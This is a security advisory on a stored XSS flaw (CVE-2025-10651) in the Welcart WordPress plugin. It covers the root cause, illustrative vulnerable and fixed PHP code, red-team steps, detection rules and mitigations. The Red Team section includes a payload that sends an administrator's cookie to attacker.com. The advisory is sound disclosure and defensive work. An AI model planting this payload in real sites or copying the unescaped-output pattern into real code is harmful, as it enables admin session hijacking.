CVE-2025-10651

Executive Summary

CVE-2025-10651 is a Stored Cross-Site Scripting (XSS) vulnerability in the Welcart e-Commerce WordPress plugin, affecting versions up to and including 2.11.22. The flaw resides in the order_mail setting on the General Setting page. Insufficient sanitization of the order_mail field and a lack of output escaping allow authenticated attackers with Editor-level permissions or higher to inject arbitrary web scripts. When an administrator accesses the E-mail Setting page, the injected script executes in the context of the admin’s browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress installation.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx server configurations. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for affected sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but the absence of a patch means site administrators must manually apply mitigations or remove the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Editor-level or above)
• User Interaction: Required (admin must visit E-mail Setting page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the requirement for authenticated access and user interaction. However, the stored nature of the XSS and the lack of a patch elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the Welcart plugin’s General Setting page, where the order_mail field is used to configure email templates for order notifications. The plugin fails to properly sanitize input on this field and does not escape output when rendering the value on the E-mail Setting page.

Root Cause:

• Insufficient Sanitization: The order_mail field accepts arbitrary HTML/JavaScript without filtering dangerous characters or tags.
• Lack of Output Escaping: When the plugin displays the saved order_mail value on the E-mail Setting page, it does not use WordPress’s escaping functions (e.g., esc_html() or wp_kses()), allowing injected scripts to be rendered as executable code.

Attack Flow:

1. An attacker with Editor-level privileges navigates to the Welcart General Setting page.
2. The attacker injects a malicious JavaScript payload into the order_mail field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. When an administrator accesses the E-mail Setting page, the payload executes in the admin’s browser.
5. The attacker can then perform actions such as stealing session cookies, exfiltrating data, or creating rogue admin accounts.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is identified in the plugin’s source. The following is a hypothetical representation based on common WordPress plugin patterns.

Vulnerable Code (e.g., in welcart-e-commerce/admin/setting.php):

// Vulnerable: No sanitization on input, no escaping on output
$order_mail = $_POST['order_mail'];
update_option('welcart_order_mail', $order_mail);
// Later, when displaying:
echo get_option('welcart_order_mail');

Patched Code (hypothetical):

// Patched: Sanitize input and escape output
$order_mail = sanitize_textarea_field($_POST['order_mail']);
update_option('welcart_order_mail', $order_mail);
// When displaying:
echo esc_html(get_option('welcart_order_mail'));

The patched version uses sanitize_textarea_field() to strip dangerous content and esc_html() to safely encode output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Welcart plugin version <= 2.11.22.
• An account with Editor-level permissions or higher.

Exploitation Steps:

1. Log in as an Editor.
2. Navigate to Welcart > General Setting.
3. In the order_mail field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Wait for an administrator to visit Welcart > E-mail Setting.
6. The payload executes, sending the admin’s session cookie to the attacker’s server.

Note: No public exploit code is available from Exploit-DB or other sources.

Blue Team

Detection Steps:

1. Monitor for unusual changes to the order_mail option in the WordPress database.
2. Review logs for Editor-level users modifying Welcart settings.
3. Use the detection rules provided below to identify malicious payloads.

Mitigation:

• Disable the Welcart plugin until a patch is released.
• Restrict Editor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in the order_mail field.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified wp_options table with suspicious welcart_order_mail value containing <script> tags or event handlers.
• Network Indicators:
  • Outbound HTTP requests to unknown domains from the WordPress admin interface.
• Log Indicators:
  • WordPress audit logs showing Editor-level users modifying Welcart settings.
  • Browser console errors or unexpected redirects when accessing the E-mail Setting page.

Detection Engineering

YARA Rule

rule welcart_stored_xss_cve_2025_10651 {
    meta:
        description = "Detects stored XSS payload in Welcart order_mail option"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10651"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Welcart Stored XSS via order_mail Setting
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payload in Welcart plugin's order_mail option
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name: 'welcart_order_mail'
        option_value|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in email templates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10651 Welcart Stored XSS - order_mail field"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"order_mail"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Welcart plugin until an official patch is released.
2. Restrict Editor-level access to only trusted users.
3. Manually sanitize the order_mail field by adding a custom filter in the theme’s functions.php:

   add_filter('pre_update_option_welcart_order_mail', 'sanitize_textarea_field');
   

4. Implement a WAF rule to block XSS payloads in POST requests to admin.php with order_mail parameter.

Long-term Actions:

• Monitor the Welcart plugin repository for a patched version.
• Conduct a security audit of all WordPress plugins.
• Educate administrators about the risks of stored XSS.

Valters IT Signature:

Report generated by Valters IT DevSecOps Intelligence. For inquiries, contact security@valters-it.com.